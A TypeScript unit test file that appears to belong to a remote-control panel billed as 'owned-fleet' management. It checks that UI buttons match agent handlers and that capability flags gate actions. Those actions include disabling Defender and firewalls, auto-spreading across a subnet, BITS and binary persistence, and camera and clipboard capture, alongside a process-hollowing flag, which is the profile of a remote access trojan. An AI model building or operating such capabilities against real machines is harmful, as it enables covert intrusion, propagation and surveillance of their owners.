Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
176 lines
5.3 KiB
TypeScript
176 lines
5.3 KiB
TypeScript
import { describe, it, expect } from 'vitest';
|
|
import {
|
|
AGGRESSIVE_REMOTE_ACTIONS,
|
|
aggressiveActionHint,
|
|
canRunAggressiveAction,
|
|
} from './aggressiveActions';
|
|
|
|
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
|
const UI_REMOTE_ACTIONS = [
|
|
'pause',
|
|
'resume',
|
|
'stop',
|
|
'uninstall',
|
|
'restart',
|
|
'screenshot',
|
|
'camera_snapshot',
|
|
'ps',
|
|
'sysinfo',
|
|
'netstat',
|
|
'users',
|
|
'software',
|
|
'get_log',
|
|
'powershell',
|
|
'upload',
|
|
'push_desktop',
|
|
'full_sys_check',
|
|
...AGGRESSIVE_REMOTE_ACTIONS,
|
|
] as const;
|
|
|
|
/** Implemented in agent/client (handleCommand + aggressive_commands). */
|
|
const AGENT_HANDLED = new Set([
|
|
'pause',
|
|
'resume',
|
|
'restart',
|
|
'stop',
|
|
'kill',
|
|
'uninstall',
|
|
'get_log',
|
|
'exec',
|
|
'powershell',
|
|
'upload',
|
|
'push_desktop',
|
|
'full_sys_check',
|
|
'download',
|
|
'ps',
|
|
'netstat',
|
|
'users',
|
|
'software',
|
|
'screenshot',
|
|
'camera_snapshot',
|
|
'camera_list',
|
|
'sysinfo',
|
|
'ipconfig',
|
|
'clipboard',
|
|
'wifi',
|
|
'hole_punch',
|
|
'hole_punch_close',
|
|
'hole_punch_status',
|
|
'spread_now',
|
|
'start_tunnel',
|
|
'tunnel_cloudflared',
|
|
'tunnel_wireguard',
|
|
'tunnel_ssh_forward',
|
|
'tunnel_status',
|
|
'tunnel_stop',
|
|
'subnet_scan',
|
|
'defender_off',
|
|
'firewall_punch',
|
|
'firewall_off',
|
|
'firewall_on',
|
|
'firewall_profiles',
|
|
'firewall_remove',
|
|
'bits_persist',
|
|
'host_binary_persist',
|
|
'mesh_status',
|
|
]);
|
|
|
|
describe('remote action wiring', () => {
|
|
it('every UI remote button maps to an agent handler', () => {
|
|
for (const action of UI_REMOTE_ACTIONS) {
|
|
expect(AGENT_HANDLED.has(action)).toBe(true);
|
|
}
|
|
});
|
|
|
|
it('gates hole punch when capability missing', () => {
|
|
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
|
|
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
|
|
});
|
|
|
|
it('blocks defender_off on darwin regardless of caps', () => {
|
|
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
|
|
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
|
|
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
|
it('lists every wired aggressive command once', () => {
|
|
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
|
|
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
|
|
});
|
|
});
|
|
|
|
const fullCaps = {
|
|
hole_punch: true,
|
|
remote_aggressive: true,
|
|
mesh_p2p: true,
|
|
auto_spread: true,
|
|
process_hollowing: false,
|
|
ai_enabled: false,
|
|
};
|
|
|
|
describe('canRunAggressiveAction edge cases', () => {
|
|
it('allows all actions when caps are undefined (legacy agents)', () => {
|
|
for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
|
|
if (action === 'defender_off') continue;
|
|
expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
|
|
}
|
|
});
|
|
|
|
it('spread_now requires auto_spread or remote_aggressive', () => {
|
|
const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
|
|
expect(canRunAggressiveAction('spread_now', base)).toBe(false);
|
|
expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
|
|
expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
|
|
});
|
|
|
|
it('mesh_status requires mesh_p2p capability', () => {
|
|
expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
|
|
expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
|
|
});
|
|
|
|
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
|
|
const noAgg = { ...fullCaps, remote_aggressive: false };
|
|
for (const action of [
|
|
'start_tunnel',
|
|
'tunnel_cloudflared',
|
|
'tunnel_ssh_forward',
|
|
'tunnel_stop',
|
|
'subnet_scan',
|
|
'defender_off',
|
|
'firewall_punch',
|
|
'firewall_off',
|
|
'firewall_on',
|
|
'firewall_profiles',
|
|
'firewall_remove',
|
|
'bits_persist',
|
|
'host_binary_persist',
|
|
] as const) {
|
|
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
|
|
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('aggressiveActionHint', () => {
|
|
it('returns undefined when action is allowed', () => {
|
|
expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
|
|
expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
|
|
});
|
|
|
|
it('returns macOS-specific hint for defender_off', () => {
|
|
expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
|
|
'Defender disable not supported on macOS'
|
|
);
|
|
});
|
|
|
|
it('suggests re-forge hints when capability missing', () => {
|
|
const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
|
|
expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
|
|
expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
|
|
expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
|
|
expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
|
|
});
|
|
});
|